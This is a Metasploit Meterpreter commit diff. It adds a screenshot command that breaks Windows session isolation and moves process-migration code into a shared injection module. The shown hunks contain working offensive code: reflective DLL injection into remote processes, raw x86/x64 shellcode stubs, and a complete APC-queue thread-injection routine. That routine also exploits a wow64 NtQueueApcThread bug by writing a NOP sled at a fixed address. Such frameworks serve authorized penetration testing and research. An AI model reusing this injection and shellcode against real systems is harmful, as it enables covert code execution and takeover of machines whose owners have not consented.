Commit all the code for the new 'screenshot' command in the stdapi extension. Screenshot will now work on NT4 - 7 on both x86 and x64 and on newer versions of Windows we can break out of session isolation (e.g. session 0 isolation for services) to screenshot the active desktop (or logon screen) without the need to migrate meterpreter. The majority of the migration code-injection stuff has been refactored out into base_inject.c so it can be shared with the new ps_inject() functionality to inject dlls. The 'ps' command now reports what session each process belongs to (if this is too verbose we can remove it or add a -v verbose switch to the ps command). The 'execute' command can now take a -s switch in order to create a process in a users session under the users privs (assuming you have the privs to do this).
git-svn-id: file:///home/svn/framework3/trunk@8787 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
c55e9af9ae
commit
c09ca4eba5
|
@ -191,6 +191,7 @@ HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLeng
|
||||||
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
||||||
HANDLE hThread = NULL;
|
HANDLE hThread = NULL;
|
||||||
DWORD dwReflectiveLoaderOffset = 0;
|
DWORD dwReflectiveLoaderOffset = 0;
|
||||||
|
DWORD dwThreadId = 0;
|
||||||
|
|
||||||
__try
|
__try
|
||||||
{
|
{
|
||||||
|
@ -201,13 +202,13 @@ HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLeng
|
||||||
|
|
||||||
// check if the library has a ReflectiveLoader...
|
// check if the library has a ReflectiveLoader...
|
||||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||||
if( !dwReflectiveLoaderOffset != 0 )
|
if( !dwReflectiveLoaderOffset )
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// alloc memory (RWX) in the host process for the image...
|
// alloc memory (RWX) in the host process for the image...
|
||||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
if( !lpRemoteLibraryBuffer )
|
if( !lpRemoteLibraryBuffer )
|
||||||
break;
|
break;
|
||||||
|
|
||||||
// write the image into the host process...
|
// write the image into the host process...
|
||||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
||||||
|
@ -217,9 +218,10 @@ HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLeng
|
||||||
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
|
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (DWORD)lpRemoteLibraryBuffer + (DWORD)dwReflectiveLoaderOffset );
|
||||||
|
|
||||||
// create a remote thread in the host process to call the ReflectiveLoader!
|
// create a remote thread in the host process to call the ReflectiveLoader!
|
||||||
hThread = CreateRemoteThread( hProcess, NULL, (SIZE_T)NULL, lpReflectiveLoader, lpParameter, (DWORD)NULL, NULL );
|
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
|
||||||
}
|
|
||||||
while( 0 );
|
} while( 0 );
|
||||||
|
|
||||||
}
|
}
|
||||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||||
{
|
{
|
||||||
|
|
|
@ -30,6 +30,8 @@
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
#include "ReflectiveDLLInjection.h"
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
||||||
|
|
||||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
||||||
|
|
||||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
||||||
|
|
|
@ -1,62 +1,9 @@
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
#include <Tlhelp32.h>
|
#include "base_inject.h"
|
||||||
|
|
||||||
// Definition of ntdll!NtQueueApcThread
|
|
||||||
typedef NTSTATUS (NTAPI * NTQUEUEAPCTHREAD)( HANDLE hThreadHandle, LPVOID lpApcRoutine, LPVOID lpApcRoutineContext, LPVOID lpApcStatusBlock, LPVOID lpApcReserved );
|
|
||||||
|
|
||||||
// Definitions used for running native x64 code from a wow64 process (see executex64.asm)
|
|
||||||
typedef BOOL (WINAPI * X64FUNCTION)( DWORD dwParameter );
|
|
||||||
typedef DWORD (WINAPI * EXECUTEX64)( X64FUNCTION pFunction, DWORD dwParameter );
|
|
||||||
|
|
||||||
// These are defined in the stdapi projects ps.h file. We should put them somewhere more generic so we dont dup them here.
|
|
||||||
#define PROCESS_ARCH_UNKNOWN 0
|
|
||||||
#define PROCESS_ARCH_X86 1
|
|
||||||
#define PROCESS_ARCH_X64 2
|
|
||||||
#define PROCESS_ARCH_IA64 3
|
|
||||||
|
|
||||||
// The thee migration techniques currently supported.
|
|
||||||
#define MIGRATE_TECHNIQUE_REMOTETHREAD 0
|
|
||||||
#define MIGRATE_TECHNIQUE_REMOTETHREADWOW64 1
|
|
||||||
#define MIGRATE_TECHNIQUE_APCQUEUE 2
|
|
||||||
|
|
||||||
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
|
// An external reference to the meterpreters main server thread, so we can shutdown gracefully after successfull migration.
|
||||||
extern THREAD * serverThread;
|
extern THREAD * serverThread;
|
||||||
|
|
||||||
// Simple trick to get the current meterpreters arch
|
|
||||||
#ifdef _WIN64
|
|
||||||
DWORD dwMeterpreterArch = PROCESS_ARCH_X64;
|
|
||||||
#else
|
|
||||||
DWORD dwMeterpreterArch = PROCESS_ARCH_X86;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
|
|
||||||
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
|
|
||||||
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
|
|
||||||
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
|
|
||||||
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
|
|
||||||
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
|
|
||||||
|
|
||||||
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
|
|
||||||
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
|
|
||||||
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
|
|
||||||
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
|
|
||||||
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
|
|
||||||
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
|
|
||||||
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
|
|
||||||
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
|
|
||||||
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
|
|
||||||
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
|
|
||||||
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
|
|
||||||
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
|
|
||||||
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
|
|
||||||
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
|
|
||||||
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
|
|
||||||
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
|
|
||||||
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
|
|
||||||
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
|
|
||||||
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
|
|
||||||
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
|
|
||||||
|
|
||||||
// see '/msf3/external/source/shellcode/x86/migrate/migrate.asm'
|
// see '/msf3/external/source/shellcode/x86/migrate/migrate.asm'
|
||||||
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
|
BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00"
|
||||||
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
|
"\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B"
|
||||||
|
@ -95,38 +42,6 @@ BYTE migrate_stub_x64[] = "\xFC\x48\x89\xCE\x48\x81\xEC\x00\x20\x00\x00\x48\x83\
|
||||||
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
|
"\x59\x41\xBA\xEA\x0F\xDF\xE0\xFF\xD5\x48\x89\xC7\x48\x8B\x0E\x41"
|
||||||
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
"\xBA\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08";
|
||||||
|
|
||||||
// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
|
|
||||||
BYTE apc_stub_x86[] = "\xFC\x8B\x44\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
|
|
||||||
"\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
|
|
||||||
"\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
|
|
||||||
"\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
|
|
||||||
"\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
|
|
||||||
"\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
|
|
||||||
"\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
|
|
||||||
"\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
|
|
||||||
"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
|
|
||||||
"\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x78\x10\x00\x75\x16\xC6\x40\x10"
|
|
||||||
"\x01\x31\xC9\x51\x51\xFF\x70\x08\xFF\x30\x51\x51\x68\x38\x68\x0D"
|
|
||||||
"\x16\xFF\xD3\xC9\xC2\x0C\x00";
|
|
||||||
|
|
||||||
// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
|
|
||||||
BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\xF4\x00\x00\x00\xC6\x41\x10\x01\x48"
|
|
||||||
"\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
|
|
||||||
"\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
|
|
||||||
"\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
|
|
||||||
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
|
|
||||||
"\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
|
|
||||||
"\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
|
|
||||||
"\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
|
|
||||||
"\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
|
|
||||||
"\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
|
|
||||||
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
|
|
||||||
"\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
|
|
||||||
"\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
|
|
||||||
"\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
|
|
||||||
"\x5D\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51"
|
|
||||||
"\x41\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3";
|
|
||||||
|
|
||||||
// We force 64bit algnment for HANDLES and POINTERS in order
|
// We force 64bit algnment for HANDLES and POINTERS in order
|
||||||
// to be cross compatable between x86 and x64 migration.
|
// to be cross compatable between x86 and x64 migration.
|
||||||
typedef struct _MIGRATECONTEXT
|
typedef struct _MIGRATECONTEXT
|
||||||
|
@ -147,437 +62,6 @@ typedef struct _MIGRATECONTEXT
|
||||||
|
|
||||||
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
|
} MIGRATECONTEXT, * LPMIGRATECONTEXT;
|
||||||
|
|
||||||
// The context used for injection via migrate_via_apcthread
|
|
||||||
typedef struct _APCCONTEXT
|
|
||||||
{
|
|
||||||
union
|
|
||||||
{
|
|
||||||
LPVOID lpStartAddress;
|
|
||||||
BYTE bPadding1[8];
|
|
||||||
} s;
|
|
||||||
|
|
||||||
union
|
|
||||||
{
|
|
||||||
LPVOID lpParameter;
|
|
||||||
BYTE bPadding2[8];
|
|
||||||
} p;
|
|
||||||
|
|
||||||
BYTE bExecuted;
|
|
||||||
|
|
||||||
} APCCONTEXT, * LPAPCCONTEXT;
|
|
||||||
|
|
||||||
// The context used for injection via migrate_via_remotethread_wow64
|
|
||||||
typedef struct _WOW64CONTEXT
|
|
||||||
{
|
|
||||||
union
|
|
||||||
{
|
|
||||||
HANDLE hProcess;
|
|
||||||
BYTE bPadding2[8];
|
|
||||||
} h;
|
|
||||||
|
|
||||||
union
|
|
||||||
{
|
|
||||||
LPVOID lpStartAddress;
|
|
||||||
BYTE bPadding1[8];
|
|
||||||
} s;
|
|
||||||
|
|
||||||
union
|
|
||||||
{
|
|
||||||
LPVOID lpParameter;
|
|
||||||
BYTE bPadding2[8];
|
|
||||||
} p;
|
|
||||||
union
|
|
||||||
{
|
|
||||||
HANDLE hThread;
|
|
||||||
BYTE bPadding2[8];
|
|
||||||
} t;
|
|
||||||
} WOW64CONTEXT, * LPWOW64CONTEXT;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
|
|
||||||
*/
|
|
||||||
DWORD migrate_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
|
||||||
{
|
|
||||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
|
||||||
HMODULE hNtdll = NULL;
|
|
||||||
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
|
|
||||||
HANDLE hThreadSnap = NULL;
|
|
||||||
LPVOID lpApcStub = NULL;
|
|
||||||
LPVOID lpRemoteApcStub = NULL;
|
|
||||||
LPVOID lpRemoteApcContext = NULL;
|
|
||||||
LIST * thread_list = NULL;
|
|
||||||
THREADENTRY32 t = {0};
|
|
||||||
APCCONTEXT ctx = {0};
|
|
||||||
DWORD dwApcStubLength = 0;
|
|
||||||
|
|
||||||
do
|
|
||||||
{
|
|
||||||
thread_list = list_create();
|
|
||||||
if( !thread_list )
|
|
||||||
break;
|
|
||||||
|
|
||||||
ctx.s.lpStartAddress = lpStartAddress;
|
|
||||||
ctx.p.lpParameter = lpParameter;
|
|
||||||
ctx.bExecuted = FALSE;
|
|
||||||
|
|
||||||
t.dwSize = sizeof( THREADENTRY32 );
|
|
||||||
|
|
||||||
// Get the architecture specific apc migration stub...
|
|
||||||
if( dwDestinationArch == PROCESS_ARCH_X86 )
|
|
||||||
{
|
|
||||||
if( dwMeterpreterArch == PROCESS_ARCH_X64 )
|
|
||||||
{
|
|
||||||
// migrating x64->x86(wow64)
|
|
||||||
|
|
||||||
// Our injected APC ends up running in native x64 mode within the wow64 process and as such
|
|
||||||
// will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub.
|
|
||||||
|
|
||||||
// This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though.
|
|
||||||
|
|
||||||
SetLastError( ERROR_ACCESS_DENIED );
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. Can't do x64->x86 APC migration yet." )
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// migrating x86->x86
|
|
||||||
lpApcStub = &apc_stub_x86;
|
|
||||||
dwApcStubLength = sizeof( apc_stub_x86 );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if( dwDestinationArch == PROCESS_ARCH_X64 )
|
|
||||||
{
|
|
||||||
// migrating x64->x64 (and the same stub for x86(wow64)->x64)
|
|
||||||
lpApcStub = &apc_stub_x64;
|
|
||||||
dwApcStubLength = sizeof( apc_stub_x64 );
|
|
||||||
|
|
||||||
if( dwMeterpreterArch == PROCESS_ARCH_X86 )
|
|
||||||
{
|
|
||||||
// migrating x86(wow64)->x64
|
|
||||||
|
|
||||||
// For now we leverage a bug in wow64 to get x86->x64 migration working, this
|
|
||||||
// will simply fail gracefully on systems where the technique does not work.
|
|
||||||
|
|
||||||
MEMORY_BASIC_INFORMATION mbi = {0};
|
|
||||||
LPVOID lpRemoteAddress = NULL;
|
|
||||||
BYTE * lpNopSled = NULL;
|
|
||||||
BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0";
|
|
||||||
|
|
||||||
/*
|
|
||||||
// On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes.
|
|
||||||
// The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful,
|
|
||||||
// however the start address of the new APC in the native x64 process is not what we specify but instead it is
|
|
||||||
// the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc
|
|
||||||
// this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there
|
|
||||||
// injection will continue as normal.
|
|
||||||
|
|
||||||
// The registers on the native x64 process after the queued APC is attempted to run:
|
|
||||||
rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process
|
|
||||||
rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param)
|
|
||||||
rdx = dwApcStatusBlock // unused
|
|
||||||
r8 = dwApcReserved // unused
|
|
||||||
|
|
||||||
// On the WOW64 process side:
|
|
||||||
wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine
|
|
||||||
wow64:000000006B0095F0
|
|
||||||
wow64:000000006B0095F0 public Wow64ApcRoutine
|
|
||||||
|
|
||||||
// On the native x64 process side:
|
|
||||||
ntdll:0000000077EF30A0 public KiUserApcDispatcher
|
|
||||||
ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value
|
|
||||||
ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock
|
|
||||||
ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved
|
|
||||||
ntdll:0000000077EF30AE mov r9, rsp
|
|
||||||
ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine!
|
|
||||||
|
|
||||||
// Our bStub:
|
|
||||||
00000000 4889C8 mov rax, rcx
|
|
||||||
00000003 48C1E120 shl rcx, 32
|
|
||||||
00000007 48C1E920 shr rcx, 32
|
|
||||||
0000000B 48C1E820 shr rax, 32
|
|
||||||
0000000F FFE0 jmp rax
|
|
||||||
*/
|
|
||||||
|
|
||||||
// alloc the address of the wow64!Wow64ApcRoutine export in the remote process...
|
|
||||||
// TO-DO: parse the PE64 executable wow64.dll to get this at runtime.
|
|
||||||
lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
if( !lpRemoteAddress )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. VirtualAllocEx 0x6B0095F0 failed" );
|
|
||||||
|
|
||||||
if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. VirtualQueryEx failed" );
|
|
||||||
|
|
||||||
lpNopSled = (BYTE *)malloc( mbi.RegionSize );
|
|
||||||
if( !lpNopSled )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. malloc lpNopSled failed" );
|
|
||||||
|
|
||||||
memset( lpNopSled, 0x90, mbi.RegionSize );
|
|
||||||
|
|
||||||
if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: WriteProcessMemory lpNopSled failed" )
|
|
||||||
|
|
||||||
if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: WriteProcessMemory bStub failed" )
|
|
||||||
|
|
||||||
free( lpNopSled );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
SetLastError( ERROR_BAD_ENVIRONMENT );
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread. Invalid target architecture" )
|
|
||||||
}
|
|
||||||
|
|
||||||
hNtdll = LoadLibraryA( "ntdll" );
|
|
||||||
if( !hNtdll )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: LoadLibraryA failed" )
|
|
||||||
|
|
||||||
pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" );
|
|
||||||
if( !pNtQueueApcThread )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: GetProcAddress NtQueueApcThread failed" )
|
|
||||||
|
|
||||||
hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
|
|
||||||
if( !hThreadSnap )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: CreateToolhelp32Snapshot failed" )
|
|
||||||
|
|
||||||
if( !Thread32First( hThreadSnap, &t ) )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: Thread32First failed" )
|
|
||||||
|
|
||||||
// Allocate memory for the apc stub and context
|
|
||||||
lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
||||||
if( !lpRemoteApcStub )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: VirtualAllocEx failed" )
|
|
||||||
|
|
||||||
// Simply determine the apc context address
|
|
||||||
lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength );
|
|
||||||
|
|
||||||
dprintf( "[MIGRATE] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext );
|
|
||||||
|
|
||||||
// Write the apc stub to memory...
|
|
||||||
if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" )
|
|
||||||
|
|
||||||
// Write the apc context to memory...
|
|
||||||
if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) )
|
|
||||||
BREAK_ON_ERROR( "[MIGRATE] migrate_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" )
|
|
||||||
|
|
||||||
do
|
|
||||||
{
|
|
||||||
HANDLE hThread = NULL;
|
|
||||||
|
|
||||||
// Only proceed if we are targeting a thread in the target process
|
|
||||||
if( t.th32OwnerProcessID != dwProcessID )
|
|
||||||
continue;
|
|
||||||
|
|
||||||
// Open a handle to this thread so we can do the apc injection
|
|
||||||
hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID );
|
|
||||||
if( !hThread )
|
|
||||||
continue;
|
|
||||||
|
|
||||||
dprintf("[MIGRATE] migrate_via_apcthread: Trying to inject into thread %d", t.th32ThreadID );
|
|
||||||
|
|
||||||
// Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt
|
|
||||||
// an ssl connection back but the client side will not be ready to accept it and we loose the session.
|
|
||||||
if( SuspendThread( hThread ) != (DWORD)-1 )
|
|
||||||
{
|
|
||||||
list_push( thread_list, hThread );
|
|
||||||
|
|
||||||
// Queue up our apc stub to run in the target thread, when our apc stub is run (when the target
|
|
||||||
// thread is placed in an alertable state) it will spawn a new thread with our actual migration payload.
|
|
||||||
// Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS.
|
|
||||||
if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS )
|
|
||||||
dwResult = ERROR_SUCCESS;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
CloseHandle( hThread );
|
|
||||||
}
|
|
||||||
|
|
||||||
// keep searching for more target threads to inject our apc stub into...
|
|
||||||
|
|
||||||
} while( Thread32Next( hThreadSnap, &t ) );
|
|
||||||
|
|
||||||
} while( 0 );
|
|
||||||
|
|
||||||
if( dwResult == ERROR_SUCCESS )
|
|
||||||
{
|
|
||||||
// Send a successful response to let the ruby side know that we've pretty
|
|
||||||
// much successfully migrated and have reached the point of no return
|
|
||||||
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE );
|
|
||||||
packet_transmit_response( ERROR_SUCCESS, remote, response );
|
|
||||||
|
|
||||||
// Sleep to give the remote side a chance to catch up...
|
|
||||||
Sleep( 2000 );
|
|
||||||
}
|
|
||||||
|
|
||||||
if( thread_list )
|
|
||||||
{
|
|
||||||
// Resume all the threads which we queued our apc into as the remote
|
|
||||||
// client side will now be ready to handle the new ssl conenction.
|
|
||||||
while( TRUE )
|
|
||||||
{
|
|
||||||
HANDLE t = (HANDLE)list_pop( thread_list );
|
|
||||||
if( !t )
|
|
||||||
break;
|
|
||||||
ResumeThread( t );
|
|
||||||
CloseHandle( t );
|
|
||||||
}
|
|
||||||
|
|
||||||
list_destroy( thread_list );
|
|
||||||
}
|
|
||||||
|
|
||||||
if( hThreadSnap )
|
|
||||||
CloseHandle( hThreadSnap );
|
|
||||||
|
|
||||||
if( hNtdll )
|
|
||||||
FreeLibrary( hNtdll );
|
|
||||||
|
|
||||||
SetLastError( dwResult );
|
|
||||||
|
|
||||||
return dwResult;
|
|
||||||
}
|
